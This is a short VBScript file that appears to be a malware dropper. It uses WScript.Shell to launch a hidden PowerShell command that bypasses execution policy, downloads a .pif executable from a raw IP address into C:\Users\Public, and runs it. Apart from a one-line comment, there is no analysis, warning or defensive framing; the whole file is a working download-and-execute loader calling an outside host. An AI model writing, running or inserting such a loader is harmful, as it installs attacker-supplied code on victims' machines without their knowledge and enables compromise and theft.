Set objlun = CreateObject("WScript.Shell")
' Download and run the PowerShell script
objlun.Run "powershell.exe -ExecutionPolicy Bypass -Command ""& { Invoke-WebRequest -Uri 'http://37.139.128.83/kelviiin/k1.pif' -OutFile 'C:\Users\Public\k1.pif'; C:\Users\Public\k1.pif }""", 0, True